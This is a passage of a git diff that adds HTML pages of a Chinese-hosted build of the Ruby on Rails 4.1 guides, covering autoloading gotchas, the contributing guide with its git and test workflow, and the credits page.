+require_dependency ‘square’
+
+
+
+

Only the leaves that are at least grandchildren need to be loaded this +way. Direct subclasses do not need to be preloaded. If the hierarchy is +deeper, intermediate classes will be autoloaded recursively from the bottom +because their constant will appear in the class definitions as superclass.

10.3 Autoloading and require +

Files defining constants to be autoloaded should never be required:

+
+require 'user' # DO NOT DO THIS
+
+class UsersController < ApplicationController
+  ...
+end
+
+
+
+

There are two possible gotchas here in development mode:

+
    +
  1. If User is autoloaded before reaching the require, app/models/user.rb +runs again because load does not update $LOADED_FEATURES.

  2. +
  3. If the require runs first Rails does not mark User as an autoloaded +constant and changes to app/models/user.rb aren't reloaded.

  4. +
+

Just follow the flow and use constant autoloading always, never mix +autoloading and require. As a last resort, if some file absolutely needs to +load a certain file use require_dependency to play nice with constant +autoloading. This option is rarely needed in practice, though.

Of course, using require in autoloaded files to load ordinary 3rd party +libraries is fine, and Rails is able to distinguish their constants, they are +not marked as autoloaded.

10.4 Autoloading and Initializers

Consider this assignment in config/initializers/set_auth_service.rb:

+
+AUTH_SERVICE = if Rails.env.production?
+  RealAuthService
+else
+  MockedAuthService
+end
+
+
+
+

The purpose of this setup would be that the application uses the class that +corresponds to the environment via AUTH_SERVICE. In development mode +MockedAuthService gets autoloaded when the initializer runs. Let’s suppose +we do some requests, change its implementation, and hit the application again. +To our surprise the changes are not reflected. Why?

As we saw earlier, Rails removes autoloaded constants, +but AUTH_SERVICE stores the original class object. Stale, non-reachable +using the original constant, but perfectly functional.

The following code summarizes the situation:

+
+class C
+  def quack
+    'quack!'
+  end
+end
+
+X = C
+Object.instance_eval { remove_const(:C) }
+X.new.quack # => quack!
+X.name      # => C
+C           # => uninitialized constant C (NameError)
+
+
+
+

Because of that, it is not a good idea to autoload constants on application +initialization.

In the case above we could implement a dynamic access point:

+
+# app/models/auth_service.rb
+class AuthService
+  if Rails.env.production?
+    def self.instance
+      RealAuthService
+    end
+  else
+    def self.instance
+      MockedAuthService
+    end
+  end
+end
+
+
+
+

and have the application use AuthService.instance instead. AuthService +would be loaded on demand and be autoload-friendly.

10.5 require_dependency and Initializers

As we saw before, require_dependency loads files in an autoloading-friendly +way. Normally, though, such a call does not make sense in an initializer.

One could think about doing some require_dependency +calls in an initializer to make sure certain constants are loaded upfront, for +example as an attempt to address the gotcha with STIs.

Problem is, in development mode autoloaded constants are wiped +if there is any relevant change in the file system. If that happens then +we are in the very same situation the initializer wanted to avoid!

Calls to require_dependency have to be strategically written in autoloaded +spots.

10.6 When Constants aren't Missed

10.6.1 Relative References

Let's consider a flight simulator. The application has a default flight model

+
+# app/models/flight_model.rb
+class FlightModel
+end
+
+
+
+

that can be overridden by each airplane, for instance

+
+# app/models/bell_x1/flight_model.rb
+module BellX1
+  class FlightModel < FlightModel
+  end
+end
+
+# app/models/bell_x1/aircraft.rb
+module BellX1
+  class Aircraft
+    def initialize
+      @flight_model = FlightModel.new
+    end
+  end
+end
+
+
+
+

The initializer wants to create a BellX1::FlightModel and nesting has +BellX1, that looks good. But if the default flight model is loaded and the +one for the Bell-X1 is not, the interpreter is able to resolve the top-level +FlightModel and autoloading is thus not triggered for BellX1::FlightModel.

That code depends on the execution path.

These kind of ambiguities can often be resolved using qualified constants:

+
+module BellX1
+  class Plane
+    def flight_model
+      @flight_model ||= BellX1::FlightModel.new
+    end
+  end
+end
+
+
+
+

Also, require_dependency is a solution:

+
+require_dependency 'bell_x1/flight_model'
+
+module BellX1
+  class Plane
+    def flight_model
+      @flight_model ||= FlightModel.new
+    end
+  end
+end
+
+
+
+
10.6.2 Qualified References

Given

+
+# app/models/hotel.rb
+class Hotel
+end
+
+# app/models/image.rb
+class Image
+end
+
+# app/models/hotel/image.rb
+class Hotel
+  class Image < Image
+  end
+end
+
+
+
+

the expression Hotel::Image is ambiguous, depends on the execution path.

As we saw before, Ruby looks +up the constant in Hotel and its ancestors. If app/models/image.rb has +been loaded but app/models/hotel/image.rb hasn't, Ruby does not find Image +in Hotel, but it does in Object:

+
+$ bin/rails r 'Image; p Hotel::Image' 2>/dev/null
+Image # NOT Hotel::Image!
+
+
+
+

The code evaluating Hotel::Image needs to make sure +app/models/hotel/image.rb has been loaded, possibly with +require_dependency.

In these cases the interpreter issues a warning though:

+
+warning: toplevel constant Image referenced by Hotel::Image
+
+
+
+

This surprising constant resolution can be observed with any qualifying class:

+
+2.1.5 :001 > String::Array
+(irb):1: warning: toplevel constant Array referenced by String::Array
+ => Array
+
+
+
+

To find this gotcha the qualifying namespace has to be a class, +Object is not an ancestor of modules.

10.7 Autoloading within Singleton Classes

Let's suppose we have these class definitions:

+
+# app/models/hotel/services.rb
+module Hotel
+  class Services
+  end
+end
+
+# app/models/hotel/geo_location.rb
+module Hotel
+  class GeoLocation
+    class << self
+      Services
+    end
+  end
+end
+
+
+
+

If Hotel::Services is known by the time app/models/hotel/geo_location.rb +is being loaded, Services is resolved by Ruby because Hotel belongs to the +nesting when the singleton class of Hotel::GeoLocation is opened.

But if Hotel::Services is not known, Rails is not able to autoload it, the +application raises NameError.

The reason is that autoloading is triggered for the singleton class, which is +anonymous, and as we saw before, Rails only checks the +top-level namespace in that edge case.

An easy solution to this caveat is to qualify the constant:

+
+module Hotel
+  class GeoLocation
+    class << self
+      Hotel::Services
+    end
+  end
+end
+
+
+
+

10.8 Autoloading in BasicObject +

Direct descendants of BasicObject do not have Object among their ancestors +and cannot resolve top-level constants:

+
+class C < BasicObject
+  String # NameError: uninitialized constant C::String
+end
+
+
+
+

When autoloading is involved that plot has a twist. Let's consider:

+
+class C < BasicObject
+  def user
+    User # WRONG
+  end
+end
+
+
+
+

Since Rails checks the top-level namespace User gets autoloaded just fine the +first time the user method is invoked. You only get the exception if the +User constant is known at that point, in particular in a second call to +user:

+
+c = C.new
+c.user # surprisingly fine, User
+c.user # NameError: uninitialized constant C::User
+
+
+
+

because it detects a parent namespace already has the constant (see Qualified +References.)

As with pure Ruby, within the body of a direct descendant of BasicObject use +always absolute constant paths:

+
+class C < BasicObject
+  ::String # RIGHT
+
+  def user
+    ::User # RIGHT
+  end
+end
+
+
+
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/contributing_to_ruby_on_rails.html b/v4.1/contributing_to_ruby_on_rails.html new file mode 100644 index 0000000..d25b615 --- /dev/null +++ b/v4.1/contributing_to_ruby_on_rails.html @@ -0,0 +1,661 @@ + + + + + + + +Contributing to Ruby on Rails — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Contributing to Ruby on Rails

This guide covers ways in which you can become a part of the ongoing development of Ruby on Rails.

After reading this guide, you will know:

+
    +
  • How to use GitHub to report issues.
  • +
  • How to clone master and run the test suite.
  • +
  • How to help resolve existing issues.
  • +
  • How to contribute to the Ruby on Rails documentation.
  • +
  • How to contribute to the Ruby on Rails code.
  • +
+

Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.

+ + + +
+
+ +
+
+
+

1 Reporting an Issue

Ruby on Rails uses GitHub Issue Tracking to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests.

Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test edge Rails (the code for the version of Rails that is currently under development). Later in this guide you'll find out how to get edge Rails for testing.

1.1 Creating a Bug Report

If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under Issues in case it has already been reported. If you do not find any issue addressing it you may proceed to open a new one. (See the next section for reporting security issues.)

Your issue report should contain a title and a clear description of the issue at the bare minimum. You should include as much relevant information as possible and should at least post a code sample that demonstrates the issue. It would be even better if you could include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix.

Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment.

1.2 Create a Self-Contained gist for Active Record and Action Controller Issues

If you are filing a bug report, please use +Active Record template for gems or +Action Controller template for gems +if the bug is found in a published gem, and +Active Record template for master or +Action Controller template for master +if the bug happens in the master branch.

1.3 Special Treatment for Security Issues

Please do not report security vulnerabilities with public GitHub issue reports. The Rails security policy page details the procedure to follow for security issues.

1.4 What about Feature Requests?

Please don't put "feature request" items into GitHub Issues. If there's a new +feature that you want to see added to Ruby on Rails, you'll need to write the +code yourself - or convince someone else to partner with you to write the code. +Later in this guide you'll find detailed instructions for proposing a patch to +Ruby on Rails. If you enter a wish list item in GitHub Issues with no code, you +can expect it to be marked "invalid" as soon as it's reviewed.

Sometimes, the line between 'bug' and 'feature' is a hard one to draw. +Generally, a feature is anything that adds new behavior, while a bug is +anything that fixes already existing behavior that is misbehaving. Sometimes, +the core team will have to make a judgement call. That said, the distinction +generally just affects which release your patch will get in to; we love feature +submissions! They just won't get backported to maintenance branches.

If you'd like feedback on an idea for a feature before doing the work for make +a patch, please send an email to the rails-core mailing +list. You +might get no response, which means that everyone is indifferent. You might find +someone who's also interested in building that feature. You might get a "This +won't be accepted." But it's the proper place to discuss new ideas. GitHub +Issues are not a particularly good venue for the sometimes long and involved +discussions new features require.

2 Helping to Resolve Existing Issues

As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the Everyone's Issues list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:

2.1 Verifying Bug Reports

For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing.

If something is very vague, can you help squash it down into something specific? Maybe you can provide additional information to help reproduce a bug, or help by eliminating needless steps that aren't required to demonstrate the problem.

If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.

Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.

2.2 Testing Patches

You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need first to create a dedicated branch:

+
+$ git checkout -b testing_branch
+
+
+
+

Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails.

+
+$ git remote add JohnSmith git://github.com/JohnSmith/rails.git
+$ git pull JohnSmith orange
+
+
+
+

After applying their branch, test it out! Here are some things to think about:

+
    +
  • Does the change actually work?
  • +
  • Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?
  • +
  • Does it have the proper documentation coverage? Should documentation elsewhere be updated?
  • +
  • Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?
  • +
+

Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:

+
+I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too. +
+

If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.

3 Contributing to the Rails Documentation

Ruby on Rails has two main sets of documentation: the guides, which help you +learn about Ruby on Rails, and the API, which serves as a reference.

You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see Translating Rails Guides.

You can either open a pull request to Rails or +ask the Rails core team for commit access on +docrails if you contribute regularly. +Please do not open pull requests in docrails, if you'd like to get feedback on your +change, ask for it in Rails instead.

Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.

If you are unsure of the documentation changes, you can create an issue in the Rails issues tracker on GitHub.

When working with documentation, please take into account the API Documentation Guidelines and the Ruby on Rails Guides Guidelines.

As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements.

To help our CI servers you should add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.

Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.

4 Contributing to the Rails Code

4.1 Setting Up a Development Environment

To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you must be able to run its test suite. In this section of the guide you'll learn how to setup the tests on your own computer.

4.1.1 The Easy Way

The easiest and recommended way to get a development environment ready to hack is to use the Rails development box.

4.1.2 The Hard Way

In case you can't use the Rails development box, see this other guide.

4.2 Clone the Rails Repository

To be able to contribute code, you need to clone the Rails repository:

+
+$ git clone git://github.com/rails/rails.git
+
+
+
+

and create a dedicated branch:

+
+$ cd rails
+$ git checkout -b my_new_branch
+
+
+
+

It doesn't matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository.

4.3 Running an Application Against Your Local Branch

In case you need a dummy Rails app to test changes, the --dev flag of rails new generates an application that uses your local branch:

+
+$ cd rails
+$ bundle exec rails new ~/my-test-app --dev
+
+
+
+

The application generated in ~/my-test-app runs against your local branch +and in particular sees any modifications upon server reboot.

4.4 Write Your Code

Now get busy and add/edit code. You're on your branch now, so you can write whatever you want (make sure you're on the right branch with git branch -a). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind:

+
    +
  • Get the code right.
  • +
  • Use Rails idioms and helpers.
  • +
  • Include tests that fail without your code, and pass with it.
  • +
  • Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution.
  • +
+

Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted.

4.4.1 Follow the Coding Conventions

Rails follows a simple set of coding style conventions:

+
    +
  • Two spaces, no tabs (for indentation).
  • +
  • No trailing whitespace. Blank lines should not have any spaces.
  • +
  • Indent after private/protected.
  • +
  • Use Ruby >= 1.9 syntax for hashes. Prefer { a: :b } over { :a => :b }.
  • +
  • Prefer &&/|| over and/or.
  • +
  • Prefer class << self over self.method for class methods.
  • +
  • Use MyClass.my_method(my_arg) not my_method( my_arg ) or my_method my_arg.
  • +
  • Use a = b and not a=b.
  • +
  • Use assert_not methods instead of refute.
  • +
  • Prefer method { do_stuff } instead of method{do_stuff} for single-line blocks.
  • +
  • Follow the conventions in the source you see used already.
  • +
+

The above are guidelines - please use your best judgment in using them.

4.5 Benchmark Your Code

If your change has an impact on the performance of Rails, please use the +benchmark-ips gem to provide +benchmark results for comparison.

Here's an example of using benchmark-ips:

+
+require 'benchmark/ips'
+
+Benchmark.ips do |x|
+  x.report('addition') { 1 + 2 }
+  x.report('addition with send') { 1.send(:+, 2) }
+end
+
+
+
+

This will generate a report with the following information:

+
+Calculating -------------------------------------
+            addition     69114 i/100ms
+  addition with send     64062 i/100ms
+-------------------------------------------------
+            addition  5307644.4 (±3.5%) i/s -   26539776 in   5.007219s
+  addition with send  3702897.9 (±3.5%) i/s -   18513918 in   5.006723s
+
+
+
+

Please see the benchmark/ips README for more information.

4.6 Running Tests

It is not customary in Rails to run the full test suite before pushing +changes. The railties test suite in particular takes a long time, and even +more if the source code is mounted in /vagrant as happens in the recommended +workflow with the rails-dev-box.

As a compromise, test what your code obviously affects, and if the change is +not in railties, run the whole test suite of the affected component. If all +tests are passing, that's enough to propose your contribution. We have +Travis CI as a safety net for catching +unexpected breakages elsewhere.

4.6.1 Entire Rails:

To run all the tests, do:

+
+$ cd rails
+$ bundle exec rake test
+
+
+
+
4.6.2 For a Particular Component

You can run tests only for a particular component (e.g. Action Pack). For example, +to run Action Mailer tests:

+
+$ cd actionmailer
+$ bundle exec rake test
+
+
+
+
4.6.3 Running a Single Test

You can run a single test through ruby. For instance:

+
+$ cd actionmailer
+$ ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout
+
+
+
+

The -n option allows you to run a single method instead of the whole +file.

4.6.3.1 Testing Active Record

This is how you run the Active Record test suite only for SQLite3:

+
+$ cd activerecord
+$ bundle exec rake test:sqlite3
+
+
+
+

You can now run the tests as you did for sqlite3. The tasks are respectively

+
+test:mysql
+test:mysql2
+test:postgresql
+
+
+
+

Finally,

+
+$ bundle exec rake test
+
+
+
+

will now run the four of them in turn.

You can also run any single test separately:

+
+$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb
+
+
+
+

You can invoke test_jdbcmysql, test_jdbcsqlite3 or test_jdbcpostgresql also. See the file activerecord/RUNNING_UNIT_TESTS.rdoc for information on running more targeted database tests, or the file ci/travis.rb for the test suite run by the continuous integration server.

4.7 Warnings

The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.

If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:

+
+$ RUBYOPT=-W0 bundle exec rake test
+
+
+
+

4.8 Updating the CHANGELOG

The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.

You should add an entry to the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.

A CHANGELOG entry should summarize what was changed and should end with author's name and it should go on top of a CHANGELOG. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry:

+
+*   Summary of a change that briefly describes what was changed. You can use multiple
+    lines and wrap them at around 80 characters. Code examples are ok, too, if needed:
+
+        class Foo
+          def bar
+            puts 'baz'
+          end
+        end
+
+    You can continue after the code example and you can attach issue number. GH#1234
+
+    *Your Name*
+
+
+
+

Your name can be added directly after the last word if you don't provide any code examples or don't need multiple paragraphs. Otherwise, it's best to make as a new paragraph.

4.9 Sanity Check

You should not be the only person who looks at the code before you submit it. +If you know someone else who uses Rails, try asking them if they'll check out +your work. If you don't know anyone else using Rails, try hopping into the IRC +room or posting about your idea to the rails-core mailing list. Doing this in +private before you push a patch out publicly is the "smoke test" for a patch: +if you can't convince one other developer of the beauty of your code, you’re +unlikely to convince the core team either.

4.10 Commit Your Changes

When you're happy with the code on your computer, you need to commit the changes to Git:

+
+$ git commit -a
+
+
+
+

At this point, your editor should be fired up and you can write a message for this commit. Well formatted and descriptive commit messages are extremely helpful for the others, especially when figuring out why given change was made, so please take the time to write it.

Good commit message should be formatted according to the following example:

+
+Short summary (ideally 50 characters or less)
+
+More detailed description, if necessary. It should be wrapped to 72
+characters. Try to be as descriptive as you can, even if you think that
+the commit content is obvious, it may not be obvious to others. You
+should add such description also if it's already present in bug tracker,
+it should not be necessary to visit a webpage to check the history.
+
+Description can have multiple paragraphs and you can use code examples
+inside, just indent it with 4 spaces:
+
+    class ArticlesController
+      def index
+        respond_with Article.limit(10)
+      end
+    end
+
+You can also add bullet points:
+
+- you can use dashes or asterisks
+
+- also, try to indent next line of a point for readability, if it's too
+  long to fit in 72 characters
+
+
+
+

Please squash your commits into a single commit when appropriate. This simplifies future cherry picks, and also keeps the git log clean.

4.11 Update Your Branch

It's pretty likely that other changes to master have happened while you were working. Go get them:

+
+$ git checkout master
+$ git pull --rebase
+
+
+
+

Now reapply your patch on top of the latest changes:

+
+$ git checkout my_new_branch
+$ git rebase master
+
+
+
+

No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.

4.12 Fork

Navigate to the Rails GitHub repository and press "Fork" in the upper right hand corner.

Add the new remote to your local repository on your local machine:

+
+$ git remote add mine git@github.com:<your user name>/rails.git
+
+
+
+

Push to your remote:

+
+$ git push mine my_new_branch
+
+
+
+

You might have cloned your forked repository into your machine and might want to add the original Rails repository as a remote instead, if that's the case here's what you have to do.

In the directory you cloned your fork:

+
+$ git remote add rails git://github.com/rails/rails.git
+
+
+
+

Download new commits and branches from the official repository:

+
+$ git fetch rails
+
+
+
+

Merge the new content:

+
+$ git checkout master
+$ git rebase rails/master
+
+
+
+

Update your fork:

+
+$ git push origin master
+
+
+
+

If you want to update another branch:

+
+$ git checkout branch_name
+$ git rebase rails/branch_name
+$ git push origin branch_name
+
+
+
+

4.13 Issue a Pull Request

Navigate to the Rails repository you just pushed to (e.g. +https://github.com/your-user-name/rails) and click on "Pull Requests" seen in +the right panel. On the next page, press "New pull request" in the upper right +hand corner.

Click on "Edit", if you need to change the branches being compared (it compares +"master" by default) and press "Click to create a pull request for this +comparison".

Ensure the changesets you introduced are included. Fill in some details about +your potential patch including a meaningful title. When finished, press "Send +pull request". The Rails core team will be notified about your submission.

4.14 Get some Feedback

Most pull requests will go through a few iterations before they get merged. +Different contributors will sometimes have different opinions, and often +patches will need revised before they can get merged.

Some contributors to Rails have email notifications from GitHub turned on, but +others do not. Furthermore, (almost) everyone who works on Rails is a +volunteer, and so it may take a few days for you to get your first feedback on +a pull request. Don't despair! Sometimes it's quick, sometimes it's slow. Such +is the open source life.

If it's been over a week, and you haven't heard anything, you might want to try +and nudge things along. You can use the rubyonrails-core mailing +list for this. You can also +leave another comment on the pull request.

While you're waiting for feedback on your pull request, open up a few other +pull requests and give someone else some! I'm sure they'll appreciate it in +the same way that you appreciate feedback on your patches.

4.15 Iterate as Necessary

It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into the knowledge of the community. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a gem.

4.15.1 Squashing commits

One of the things that we may ask you to do is to "squash your commits", which +will combine all of your commits into a single commit. We prefer pull requests +that are a single commit. This makes it easier to backport changes to stable +branches, squashing makes it easier to revert bad commits, and the git history +can be a bit easier to follow. Rails is a large project, and a bunch of +extraneous commits can add a lot of noise.

In order to do this, you'll need to have a git remote that points at the main +Rails repository. This is useful anyway, but just in case you don't have it set +up, make sure that you do this first:

+
+$ git remote add upstream https://github.com/rails/rails.git
+
+
+
+

You can call this remote whatever you'd like, but if you don't use upstream, +then change the name to your own in the instructions below.

Given that your remote branch is called my_pull_request, then you can do the +following:

+
+$ git fetch upstream
+$ git checkout my_pull_request
+$ git rebase upstream/master
+$ git rebase -i
+
+< Choose 'squash' for all of your commits except the first one. >
+< Edit the commit message to make sense, and describe all your changes. >
+
+$ git push origin my_pull_request -f
+
+
+
+

You should be able to refresh the pull request on GitHub and see that it has +been updated.

4.16 Older Versions of Ruby on Rails

If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 4-0-stable branch:

+
+$ git branch --track 4-0-stable origin/4-0-stable
+$ git checkout 4-0-stable
+
+
+
+

You may want to put your Git branch name in your shell prompt to make it easier to remember which version of the code you're working with.

4.16.1 Backporting

Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.

For simple fixes, the easiest way to backport your changes is to extract a diff from your changes in master and apply them to the target branch.

First make sure your changes are the only difference between your current branch and master:

+
+$ git log master..HEAD
+
+
+
+

Then extract the diff:

+
+$ git format-patch master --stdout > ~/my_changes.patch
+
+
+
+

Switch over to the target branch and apply your changes:

+
+$ git checkout -b my_backport_branch 3-2-stable
+$ git apply ~/my_changes.patch
+
+
+
+

This works well for simple changes. However, if your changes are complicated or if the code in master has deviated significantly from your target branch, it might require more work on your part. The difficulty of a backport varies greatly from case to case, and sometimes it is simply not worth the effort.

Once you have resolved all conflicts and made sure all the tests are passing, push your changes and open a separate pull request for your backport. It is also worth noting that older branches might have a different set of build targets than master. When possible, it is best to first test your backport locally against the Ruby versions listed in .travis.yml before submitting your pull request.

And then... think about your next contribution!

5 Rails Contributors

All contributions, either via master or docrails, get credit in Rails Contributors.

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/credits.html b/v4.1/credits.html new file mode 100644 index 0000000..23fec87 --- /dev/null +++ b/v4.1/credits.html @@ -0,0 +1,294 @@ + + + + + + + +Ruby on Rails 指南:致谢 + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

致谢

+ +

感谢以下人士孜孜不倦为本项目贡献

+ + + + +
+
+ +
+
+
+ + +

Rails 指南审阅者

+ +
Vijay Dev

Vijay Dev

+ Vijayakumar, found as Vijay Dev on the web, is a web applications developer and an open source enthusiast who lives in Chennai, India. He started using Rails in 2009 and began actively contributing to Rails documentation in late 2010. He tweets a lot and also blogs. +

+
Xavier Noria

Xavier Noria

+ Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core team member and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently an independent Ruby on Rails consultant. Oh, he also tweets and can be found everywhere as "fxn". +

+

Rails 指南设计师

+ +
Jason Zimdars

Jason Zimdars

+ Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at Thinkcage.com or follow him on Twitter. +

+

Rails 指南作者群

+ +
Ryan Bigg

Ryan Bigg

+ Ryan Bigg works as the Community Manager at Spree Commerce and has been working with Rails since 2006. He's the author of Multi Tenancy With Rails and co-author of Rails 4 in Action. He's written many gems which can be seen on his GitHub page and he also tweets prolifically as @ryanbigg. +

+
Oscar Del Ben

Oscar Del Ben

+Oscar Del Ben is a software engineer at Wildfire. He's a regular open source contributor (GitHub account) and tweets regularly at @oscardelben. +

+
Frederick Cheung

Frederick Cheung

+ Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at spacevatican.org. +

+
Tore Darell

Tore Darell

+ Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the Internet is his blog Sneaky Abstractions. +

+
Jeff Dean

Jeff Dean

+ Jeff Dean is a software engineer with Pivotal Labs. +

+
Mike Gunderloy

Mike Gunderloy

+ Mike Gunderloy is a consultant with ActionRails. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at A Fresh Cup and he twitters too much. +

+
Mikel Lindsaar

Mikel Lindsaar

+ Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby Mail gem and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of RubyX, has a blog and tweets. +

+
Cássio Marques

Cássio Marques

+ Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at /* CODIFICANDO */, which is mainly written in Portuguese, but will soon get a new section for posts with English translation. +

+
James Miller

James Miller

+ James Miller is a software developer for JK Tech in San Diego, CA. You can find James on GitHub, Gmail, Twitter, and Freenode as "bensie". +

+
Pratik Naik

Pratik Naik

+ Pratik Naik is a Ruby on Rails developer at Basecamp and also a member of the Rails core team. He maintains a blog at has_many :bugs, :through => :rails and has a semi-active twitter account. +

+
Emilio Tagua

Emilio Tagua

+ Emilio Tagua —a.k.a. miloops— is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of Eventioz. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as "miloops". +

+
Heiko Webers

Heiko Webers

+ Heiko Webers is the founder of bauland42, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the Ruby on Rails Security Project. After 10 years of desktop application development, Heiko has rarely looked back. +

+
Akshay Surve

Akshay Surve

+ Akshay Surve is the Founder at DeltaX, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on Twitter, Linkedin, Personal Blog or Quora. +

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/debugging_rails_applications.html b/v4.1/debugging_rails_applications.html new file mode 100644 index 0000000..71a7d5a --- /dev/null +++ b/v4.1/debugging_rails_applications.html @@ -0,0 +1,840 @@ + + + + + + + +调试 Rails 程序 — Ruby on Rails 指南 + + + + + + + + + + + +
+
